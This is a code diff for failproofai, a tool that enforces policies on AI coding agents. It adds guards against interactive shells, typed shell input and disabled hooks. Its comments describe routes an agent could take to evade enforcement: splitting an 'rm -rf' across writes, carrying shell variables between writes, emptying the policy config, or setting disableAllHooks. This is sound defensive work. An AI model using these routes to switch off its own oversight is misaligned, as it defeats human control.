(sub === "attach") return `an attached ${name} pod`; + if (sub !== "exec" && sub !== "run" && sub !== "debug") return null; + return args.some((a) => a === "-i" || a === "--stdin" || a === "--stdin=true" || clusterHas(a, "i")) ? `an interactive ${name} ${sub}` : null; + } + if (name === "nix-shell") return args.some((a) => a === "--run" || a === "--command") ? null : "an interactive nix-shell"; + if (name === "nix" && (args[0] === "repl" || ((args[0] === "develop" || args[0] === "shell") && !args.some((a) => a === "-c" || a === "--command")))) return `an interactive nix ${args[0]}`; + if ((name === "poetry" || name === "pipenv" || name === "hatch") && args[0] === "shell") return `an interactive ${name} shell`; + if (name === "vagrant" && args[0] === "ssh" && !args.some((a) => a === "-c" || a === "--command")) return "a remote shell over vagrant ssh"; + return null; +} + +function skipSudoOptions(args: string[]): string[] { + let k = 0; + while (k < args.length && args[k].startsWith("-")) { + if (["-u", "-g", "-C", "-D", "-h", "-p", "-r", "-t", "-U", "--user", "--group"].includes(args[k])) k++; + k++; + } + return args.slice(k); +} + +/** Why this command opens an interactive session (the first one found), or null. */ +export function opensInteractiveSession(command: string): string | null { + return opensInteractiveSessionAt(command, 0); +} + +function opensInteractiveSessionAt(command: string, depth: number): string | null { + for (const { words, stdinFed } of simpleCommands(command)) { + const found = programOf(words); + if (!found) continue; + const reason = sessionReason(found.program, found.args, stdinFed, depth); + if (reason) return reason; + } + return null; +} + +/** Whether a canonicalized Codex call is a shell command that opens one. */ +export function codexCallOpensSession(eventType: string, toolName: string | undefined, toolInput: unknown): string | null { + if (eventType !== "PreToolUse" || toolName !== "Bash") return null; + const command = (toolInput as Record | null | undefined)?.command; + return typeof command === "string" ? opensInteractiveSession(command) : null; +} + +/** The guard for one Codex call found to open an interactive session. */ +export function codexSessionGuardFor(reason: string): (ctx: PolicyContext) => PolicyResult { + return (ctx) => { + if (ctx.eventType !== "PreToolUse") return allow(); + return deny( + `failproofai refused this because it opens ${reason}, and Codex runs no hooks for what is typed into one. ` + + "Run each command on its own instead, without keeping a shell or REPL open.", + ); + }; +} diff --git a/src/hooks/config-status.ts b/src/hooks/config-status.ts index c5f4621b6..6132d9950 100644 --- a/src/hooks/config-status.ts +++ b/src/hooks/config-status.ts @@ -22,8 +22,14 @@ * history is rescanned at upgrade. */ import { readFileSync } from "node:fs"; -import { resolve } from "node:path"; +import { dirname, resolve } from "node:path"; import { readCloudCredentials } from "./cloud-enrollment"; +import { + CLAUDE_MANAGED_SETTINGS_PATHS, + claudeHooksSwitchedOffBy, + claudeLocalSettingsPaths, + claudeSettingsLayersByPrecedence, +} from "./claude-hooks-switch"; import { CODEX_UNTRUSTED_NOTICE, codexHookTrust, type CodexHookTrust } from "./codex-system-hooks"; import { describeMachine } from "./cloud-enrollment-cli"; import { cloudBaseFor } from "./cloud-connection"; @@ -42,14 +48,14 @@ import { spoolBacklog } from "./flush-cli"; import { isAgentTraced, readConfig, readCredentials, readVersionFile } from "./fp-config"; import { collectorHealthFile, customPoliciesDir } from "./fp-home"; import { configuredCustomPolicyPaths, findProjectConfigDir, readMergedHooksConfig } from "./hooks-config"; -import { detectInstalledClis, listInstallableIds } from "./integrations"; +import { claudeCode, detectInstalledClis, listInstallableIds } from "./integrations"; import { cloudPolicyStatus, notEnforcingReason, type NotEnforcingReason } from "./manager"; import { hasInstalledRegexPacks, readInstalledPacks } from "./pack-manifest"; import { CORE_SOURCE } from "./pack-store"; import { formatDuration, listActivePauses } from "./session-pause"; import { pauseClockTime, type PauseClock } from "./session-pause-cli"; import { optsFor, screenKit, type ScreenKitOpts, type TTYOut } from "./tui"; -import type { IntegrationType } from "./types"; +import { HOOK_SCOPES, type IntegrationType } from "./types"; /** * A health record older than this was left by a daemon that stopped writing it. @@ -153,6 +159,12 @@ export interface StatusFacts { * hooks nobody has trusted, so hooks being installed is not enough. */ codex?: CodexHookTrust; + /** + * Present when failproofai's Claude Code hooks are installed and a settings + * file's `"disableAllHooks": true` is in effect, so Claude Code runs none of + * them — the always-on guard included. `path` is the file that decides. + */ + claudeHooksOff?: { path: string }; } /** Seams for everything that would otherwise reach a service manager, PATH or the network. */ @@ -164,6 +176,8 @@ export interface StatusDeps { detectInstalled?: () => IntegrationType[]; notEnforcing?: (cwd?: string) => NotEnforcingReason | null; codexTrust?: () => CodexHookTrust; + /** The Claude Code settings file switching failproofai's hooks off, or null. */ + claudeHooksOff?: (cwd: string) => string | null; } /** @@ -374,6 +388,7 @@ export async function gatherStatusFacts(deps: StatusDeps = {}): Promise claudeCode.hooksInstalledInSettings(scope, cwd)) || + local.some((path) => claudeCode.hooksInstalledInSettings("local", dirname(dirname(path)))); + if (!installed) return null; + return claudeHooksSwitchedOffBy( + claudeSettingsLayersByPrecedence( + { + user: claudeCode.getSettingsPath("user", cwd), + project: claudeCode.getSettingsPath("project", cwd), + local, + }, + managed, + ), + ); +} + +function claudeHooksOffFact(deps: StatusDeps, cwd: string): Pick { + try { + const path = (deps.claudeHooksOff ?? claudeHooksSwitchedOff)(cwd); + return path ? { claudeHooksOff: { path } } : {}; + } catch { + return {}; + } +} + /** The one line that needs attention, before it is painted. */ export interface StatusAttention { severity: "fail" | "caution"; @@ -425,6 +478,15 @@ export function pickStatusAttention(facts: StatusFacts): StatusAttention | null fix: "failproofai config", }; } + // Ahead of "not enforcing": this one is silent from inside the session, and + // it is what an agent switching its own enforcement off leaves behind. + if (facts.claudeHooksOff) { + return { + severity: "fail", + text: "Claude Code is running none of failproofai's hooks: disableAllHooks is true.", + detail: `Remove "disableAllHooks" from ${facts.claudeHooksOff.path}.`, + }; + } if (facts.notEnforcing) { const fix = facts.notEnforcing === "no-hooks" @@ -630,6 +692,9 @@ export function renderStatusScreen(facts: StatusFacts, opts: ScreenKitOpts & { c ], ["policies", policiesValue()], ...(codexValue() ? [["codex", codexValue()!] as [string, string]] : []), + ...(facts.claudeHooksOff + ? [["claude", `${kit.off} Not enforcing: disableAllHooks in ${facts.claudeHooksOff.path}`] as [string, string]] + : []), ]; const sections: Array<[string, Array<[string, string]>]> = [ diff --git a/src/hooks/handler.ts b/src/hooks/handler.ts index 3ca7992ef..1b9e9c092 100644 --- a/src/hooks/handler.ts +++ b/src/hooks/handler.ts @@ -38,6 +38,21 @@ import { antigravityPathGuard, antigravityPathGuardActive, } from "./antigravity-path-guard"; +import { + TYPED_INPUT_GUARD_DESCRIPTION, + TYPED_INPUT_GUARD_MATCH, + TYPED_INPUT_GUARD_NAME, + typedInputGuardActive, + typedInputGuardFor, + typedShellInput, +} from "./typed-shell-input"; +import { + CODEX_SESSION_GUARD_DESCRIPTION, + CODEX_SESSION_GUARD_MATCH, + CODEX_SESSION_GUARD_NAME, + codexCallOpensSession, + codexSessionGuardFor, +} from "./codex-interactive-session"; import { evaluatePolicies } from "./policy-evaluator"; // Types only: the semantic (Jev) modules are loaded with a dynamic import, and // only once a Jev config exists, so an unconfigured machine never loads them. @@ -727,6 +742,19 @@ export async function evaluateHookEvent( if (canonicalInput !== rawInput) { parsed.tool_input = canonicalInput; } + // Text typed into a running shell (Codex `write_stdin`, Copilot + // `write_bash`) arrives outside `command`, the field every shell policy + // reads: moved there as the lines it runs, or refused below when it cannot + // be read as whole lines. See typed-shell-input.ts. + const typedInput = typedShellInput(cli, rawToolName, canonicalToolName, parsed.tool_input); + if (typedInput?.kind === "command") { + parsed.tool_input = { ...(parsed.tool_input as Record), command: typedInput.command }; + } + const unreadableTypedInput = typedInput?.kind === "unreadable" ? typedInput.why : undefined; + // Codex runs no hooks for what is typed into a shell it keeps open, so a + // Codex command that opens one is refused. See codex-interactive-session.ts. + const codexSession = + cli === "codex" ? codexCallOpensSession(canonicalEventType, canonicalToolName, parsed.tool_input) : null; // Extract session metadata from payload const sessionId = parsed.session_id as string | undefined; @@ -746,9 +774,11 @@ export async function evaluateHookEvent( rawHookEventName: eventType, cli, }; - const runtimeAgent = readRuntimeAgentIdentity( - cli, opts?.agentSettingsPath ?? runtimeAgentSettingsPath(cli, session.cwd), - ); + const agentSettingsPath = opts?.agentSettingsPath ?? runtimeAgentSettingsPath(cli, session.cwd); + // The always-on guard protects this file too: when CLAUDE_CONFIG_DIR or + // CODEX_HOME moved it, no directory name the guard knows describes it. + if (agentSettingsPath) session.agentSettingsPath = agentSettingsPath; + const runtimeAgent = readRuntimeAgentIdentity(cli, agentSettingsPath); let config: HooksConfig; let customHooksList: CustomHook[] = []; @@ -892,6 +922,28 @@ export async function evaluateHookEvent( ANTIGRAVITY_PATH_GUARD_MATCH, ); } + // Typed text no shell policy could read is refused, outside the enabled + // set for the same reason, and only for the call that carries it. + if ( + unreadableTypedInput !== undefined && + canonicalEventType === "PreToolUse" && + typedInputGuardActive(Boolean(activePause), cloudManagedPolicies) + ) { + registerPolicy( + TYPED_INPUT_GUARD_NAME, + TYPED_INPUT_GUARD_DESCRIPTION, + typedInputGuardFor(unreadableTypedInput), + TYPED_INPUT_GUARD_MATCH, + ); + } + if (codexSession !== null && typedInputGuardActive(Boolean(activePause), cloudManagedPolicies)) { + registerPolicy( + CODEX_SESSION_GUARD_NAME, + CODEX_SESSION_GUARD_DESCRIPTION, + codexSessionGuardFor(codexSession), + CODEX_SESSION_GUARD_MATCH, + ); + } // Recorded on every row once a machine is managed, whether or not a cloud // policy decided this event: "what was deployed here at the time" is a // separate question from "what decided", and only the former can tell a diff --git a/src/hooks/policy-catalog.ts b/src/hooks/policy-catalog.ts index ad4300c5e..47f2b06f8 100644 --- a/src/hooks/policy-catalog.ts +++ b/src/hooks/policy-catalog.ts @@ -232,7 +232,7 @@ export const POLICY_CATALOG: PolicyCatalogEntry[] = [ name: "block-failproofai-commands", displayTitle: "Tried to disable, pause or modify failproofai itself", impact: "An agent that can pause or remove enforcement can switch off every other policy.", - description: "Block failproofai CLI commands, self-pause and uninstallation", + description: "Block failproofai CLI commands, self-pause, uninstallation, and agent edits to hook settings", // PermissionRequest is carried over from the merged-in `block-self-pause`. // It is a real enforcement point on Copilot and Devin, and dropping it would // have left this guard blind on both. @@ -240,10 +240,15 @@ export const POLICY_CATALOG: PolicyCatalogEntry[] = [ // through this guard unguarded: the agent never needs a shell to overwrite // `~/.failproofai/policies-config.json` with `{"enabledPolicies":[]}` — it // just writes the file. Every CLI canonicalizes its own file tool's path - // key to `file_path`, so one branch covers all of them. + // key to `file_path`, so one branch covers all of them. MultiEdit is the + // same write through Claude Code's other edit tool, and these tools are + // also how an agent would set `"disableAllHooks": true` in its settings. match: { events: ["PreToolUse", "PermissionRequest"], - toolNames: ["Bash", "Write", "Edit", "NotebookEdit"], + // `apply_patch` by its own name too: OpenClaw passes its patch tool + // through uncanonicalized, where Codex, Copilot and OpenCode map theirs to Edit + // (FailproofAI/failproofai#1058). + toolNames: ["Bash", "Write", "Edit", "MultiEdit", "NotebookEdit", "apply_patch"], }, defaultEnabled: true, alwaysOn: true, diff --git a/src/hooks/tool-name-canonicalize.ts b/src/hooks/tool-name-canonicalize.ts index b784d5d91..c464f89e8 100644 --- a/src/hooks/tool-name-canonicalize.ts +++ b/src/hooks/tool-name-canonicalize.ts @@ -8,6 +8,7 @@ import type { IntegrationType } from "./types"; import { CODEX_TOOL_MAP, + CODEX_TOOL_INPUT_MAP, COPILOT_TOOL_MAP, COPILOT_TOOL_INPUT_MAP, CURSOR_TOOL_MAP, @@ -81,6 +82,8 @@ export function canonicalizeToolInput( // `old_str`/`new_str`); map to canonical keys so path/content builtins fire // (verified live against Copilot CLI 1.0.71). if (cli === "copilot") perToolMap = COPILOT_TOOL_INPUT_MAP[toolName]; + // Codex transcripts give exec_command `{cmd, workdir}`; map to `command`/`cwd`. + else if (cli === "codex") perToolMap = CODEX_TOOL_INPUT_MAP[toolName]; else if (cli === "opencode") perToolMap = OPENCODE_TOOL_INPUT_MAP[toolName]; else if (cli === "pi") perToolMap = PI_TOOL_INPUT_MAP[toolName]; // Hermes read_file/write_file/patch deliver the file path as `path`; map it to diff --git a/src/hooks/typed-shell-input.ts b/src/hooks/typed-shell-input.ts new file mode 100644 index 000000000..d1b4f15e6 --- /dev/null +++ b/src/hooks/typed-shell-input.ts @@ -0,0 +1,218 @@ +/** + * Text an agent types into a shell that is already running. + * + * Codex's `write_stdin` and Copilot's `write_bash` / `write_powershell` send + * keystrokes to a shell an earlier call started. They are canonicalized to + * `Bash` so the shell policies judge them, but their text is not in `command`, + * the one field those policies read: Codex sends it as `chars` + * (`{session_id, chars}`, codex-cli 0.172) and Copilot as `input` + * (`{shellId, input, delay}`, Copilot CLI 1.0.114). With `command` empty every + * shell policy allowed what was typed. + * + * So `handler.ts` moves the text into `command`, as far as it can be read as + * whole command lines, and refuses the rest: + * - An empty write reads a shell's output (Codex polls that way): nothing to judge. + * - Text that ends a line is the lines it runs. + * - Keys alone (Ctrl-C, Ctrl-D, an arrow key, Enter) add no text of their own; + * a line they bring back from history was judged when it was first typed. + * - Everything else is refused: text that does not end its command (no line + * end, a trailing backslash, an open quote or heredoc), because the + * shell runs it once a later write adds the rest, which is then judged + * without it (`rm -rf ~/.fail` now, `proofai` and Enter next); and text + * mixed with editing keys (Tab completion, Ctrl-W, Ctrl-Y, a cursor key), + * because the line the shell runs is then not the text sent. + * + * Text typed into a program the shell started (a REPL, an editor) is judged as + * shell text too: the payload does not say what reads it. + * + * Live codex-cli 0.172 runs no hook at all for `write_stdin`, so for Codex + * this is a second line only: codex-interactive-session.ts refuses opening the + * session in the first place. + */ +import { deny, allow } from "./policy-helpers"; +import type { PolicyContext, PolicyMatcher, PolicyResult } from "./policy-types"; +import type { HookEventType, IntegrationType } from "./types"; + +export const TYPED_INPUT_GUARD_NAME = "failproofai/typed-shell-input-readable"; + +export const TYPED_INPUT_GUARD_DESCRIPTION = + "Refuse text typed into a running shell that failproofai cannot read as whole command lines."; + +export const TYPED_INPUT_GUARD_MATCH: PolicyMatcher = { + events: ["PreToolUse"], + toolNames: ["Bash"], +}; + +/** The raw tool names that type into a running shell, and the field each sends its text in. */ +const TYPING_TOOLS: Partial>> = { + codex: { write_stdin: "chars" }, + copilot: { write_bash: "input", write_powershell: "input" }, +}; + +/** What a typing call's text gives the shell policies to read. */ +export type TypedInput = + /** Lines to judge as a command (`""` when there is nothing to judge). */ + | { kind: "command"; command: string } + /** Text that cannot be read as whole command lines: refused. */ + | { kind: "unreadable"; why: string }; + +/** + * The field a call types its text in, or undefined for a call that types + * nothing. Known by the raw tool name, and by shape for a name the CLI already + * reports as `Bash`: a text field beside a shell id, and no `command`. + */ +function typedTextField(cli: IntegrationType, rawToolName: string | undefined, input: Record): string | undefined { + const byName = rawToolName === undefined ? undefined : TYPING_TOOLS[cli]?.[rawToolName]; + if (byName !== undefined) return byName; + if (input.command !== undefined) return undefined; + if (cli === "codex" && "chars" in input && "session_id" in input) return "chars"; + if (cli === "copilot" && "input" in input && "shellId" in input) return "input"; + return undefined; +} + +// A terminal escape sequence: CSI (`ESC [ … final`), SS3 (`ESC O x`), or ESC and one key. +const ESCAPE_SEQUENCE_RE = /\x1b(?:\[[0-?]*[ -/]*[@-~]|O.|[\s\S])?/g; +// A control character other than a line ending. +const EDITING_KEY_RE = /[\x00-\x09\x0b\x0c\x0e-\x1f\x7f]/; + +/** How `text`, typed into a running shell, reads; see the module comment. */ +export function readTypedText(text: unknown): TypedInput { + if (typeof text !== "string") return { kind: "unreadable", why: "its text is not a string" }; + if (text === "") return { kind: "command", command: "" }; + const withoutEscapes = text.replace(ESCAPE_SEQUENCE_RE, ""); + const visible = withoutEscapes.replace(/[\x00-\x1f\x7f]/g, ""); + if (visible.trim() === "") return { kind: "command", command: "" }; + if (withoutEscapes !== text || EDITING_KEY_RE.test(withoutEscapes)) { + return { kind: "unreadable", why: "it mixes text with editing keys, so the line the shell runs is not the text sent" }; + } + const lines = withoutEscapes.replace(/\r\n?/g, "\n"); + if (!lines.endsWith("\n")) { + return { kind: "unreadable", why: "it does not end its line, so the shell would run it with whatever is typed next" }; + } + const command = lines.slice(0, -1); + if (continuesPastWrite(command)) { + return { kind: "unreadable", why: "its command continues onto a later write, which would be judged without it" }; + } + if (usesShellState(command)) { + return { + kind: "unreadable", + why: "it sets or reads state the running shell keeps between writes (a variable, its directory, an alias or function), which a later write could build on unchecked", + }; + } + return { kind: "command", command }; +} + +/** + * Whether typed text sets or reads state the receiving shell keeps from one + * write to the next. Each write is judged on its own, so a value set in one and + * used in another (`F=hook`, then `cp source $F`), a `cd` in one and a relative + * write in the next, or an alias or function defined earlier, would reach the + * shell unchecked (found by hermes on #1058). So typed text may not expand a + * variable or a substitution, assign one, move the shell, or define or load + * anything; a command that needs any of that is sent on its own. + */ +function usesShellState(command: string): boolean { + // Quoted text is still expanded inside double quotes, so only single-quoted + // spans are taken out before looking for `$` and backticks. + const unquoted = command.replace(/'[^']*'/g, "''"); + if (/[$`]/.test(unquoted)) return true; + for (const line of command.split("\n")) { + for (const piece of line.split(/;|&&|\|\||\||&/)) { + const words = piece.trim().split(/\s+/).filter(Boolean); + let i = 0; + while (i < words.length && /^[A-Za-z_][A-Za-z0-9_]*\+?=/.test(words[i])) i++; + // An assignment with no command after it sets the shell's own variable. + if (i > 0 && i === words.length) return true; + const head = (words[i] ?? "").replace(/^\\/, ""); + if (STATEFUL_BUILTINS.has(head)) return true; + if (/^[A-Za-z_][\w-]*\s*\(\)/.test(piece.trim())) return true; + } + } + return false; +} + +/** Builtins whose effect outlives the line they are typed on. */ +const STATEFUL_BUILTINS = new Set([ + "cd", "pushd", "popd", "export", "declare", "typeset", "local", "readonly", "unset", "alias", "unalias", + "function", "source", ".", "eval", "set", "shopt", "setopt", "unsetopt", "trap", "hash", "enable", + "builtin", "exec", "read", "mapfile", "readarray", "let", "umask", "ulimit", "bind", "complete", "compdef", +]); + +/** + * Whether the shell is still reading the same command when this text ends: a + * trailing backslash, an unclosed quote, or a heredoc whose closing line has + * not been sent. Its rest then arrives in a later write, judged on its own + * (`cp source \` now, `hook` and Enter next). + */ +function continuesPastWrite(command: string): boolean { + let quote: "'" | '"' | null = null; + const heredocs: string[] = []; + const lines = command.split("\n"); + for (let n = 0; n < lines.length; n++) { + const line = lines[n]; + if (quote === null && heredocs.length > 0) { + if (line.replace(/^\t+/, "") === heredocs[0]) heredocs.shift(); + continue; + } + for (let i = 0; i < line.length; i++) { + const ch = line[i]; + if (quote === "'") { + if (ch === "'") quote = null; + } else if (ch === "\\") { + if (i === line.length - 1) return true; + i++; + } else if (quote === '"') { + if (ch === '"') quote = null; + } else if (ch === "'" || ch === '"') { + quote = ch; + } else if (ch === "#" && (i === 0 || /\s/.test(line[i - 1]))) { + break; + } else if (ch === "<" && line[i + 1] === "<" && line[i + 2] !== "<") { + const m = /^<<-?\s*(['"]?)([^\s'"<>;&|()]+)\1/.exec(line.slice(i)); + if (m) { + heredocs.push(m[2]); + i += m[0].length - 1; + } + } + } + } + return quote !== null || heredocs.length > 0; +} + +/** + * For a call that types into a running shell: what its text reads as. + * Undefined for any other call, which is left exactly as it came. + */ +export function typedShellInput( + cli: IntegrationType, + rawToolName: string | undefined, + canonicalToolName: string | undefined, + toolInput: unknown, +): TypedInput | undefined { + if (canonicalToolName !== "Bash" || !toolInput || typeof toolInput !== "object" || Array.isArray(toolInput)) return undefined; + const input = toolInput as Record; + const field = typedTextField(cli, rawToolName, input); + if (field === undefined) return undefined; + return readTypedText(input[field]); +} + +/** + * Lifted by a pause, which is the way through when an agent CLI changes how it + * sends typed text, unless an enforcing Cloud policy is deployed: a pause does + * not suspend those, and they could not read this text either. Same rule as + * `antigravityPathGuardActive`. + */ +export function typedInputGuardActive(paused: boolean, cloudPolicies: ReadonlyArray<{ effect?: string }>): boolean { + return !paused || cloudPolicies.some((p) => p.effect !== "observe"); +} + +/** The guard for one call `handler.ts` found unreadable, saying why. */ +export function typedInputGuardFor(why: string): (ctx: PolicyContext) => PolicyResult { + return (ctx) => { + if ((ctx.eventType as HookEventType | string) !== "PreToolUse") return allow(); + return deny( + `failproofai refused this input to a running shell because ${why}. ` + + "Send whole command lines ending in a newline, with no editing keys.", + ); + }; +} diff --git a/src/hooks/types.ts b/src/hooks/types.ts index dc9a87d19..b44916572 100644 --- a/src/hooks/types.ts +++ b/src/hooks/types.ts @@ -68,11 +68,23 @@ export const CODEX_EVENT_MAP: Record = { * Local Codex sessions also expose `write_stdin` (sends input to a running * shell — same risk class as Bash). Map the two non-canonical names so * builtin policies fire; everything else (MCP `mcp__*`, future tools) - * passes through. + * passes through. `write_stdin`'s text arrives in `chars`, not `command`: + * typed-shell-input.ts moves it there (as it does Copilot `write_bash`'s + * `input`) and refuses text it cannot read as whole command lines. */ export const CODEX_TOOL_MAP: Record = { apply_patch: "Edit", write_stdin: "Bash", + // Transcripts (audit) name the shell tool `exec_command {cmd, workdir}`, + // both as a function_call and inside a code-mode `exec` snippet. Live hooks + // already receive `Bash`, so this entry only reaches the audit. + exec_command: "Bash", +}; + +// Codex tool-INPUT keys, keyed by canonical name. Only `exec_command`'s +// transcript arguments need it; the live Bash payload is already `command`. +export const CODEX_TOOL_INPUT_MAP: Record> = { + Bash: { cmd: "command", workdir: "cwd" }, }; // ── Hermes (hermes-agent) ─────────────────────────────────────────────────── @@ -1105,6 +1117,13 @@ export interface SessionMetadata { rawHookEventName?: string; /** Which agent CLI fired this hook (claude | codex | copilot | cursor | opencode | pi | hermes | openclaw | factory | devin | antigravity | goose). Set by handler.ts from --cli. */ cli?: IntegrationType; + /** + * The settings file this hook was installed in, as the hook process resolved + * it from the agent's own environment (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, + * `HERMES_HOME`, …). Absent when it could not tell. The always-on guard + * protects it even where it sits outside every directory the guard knows. + */ + agentSettingsPath?: string; } export interface ClaudeSettings {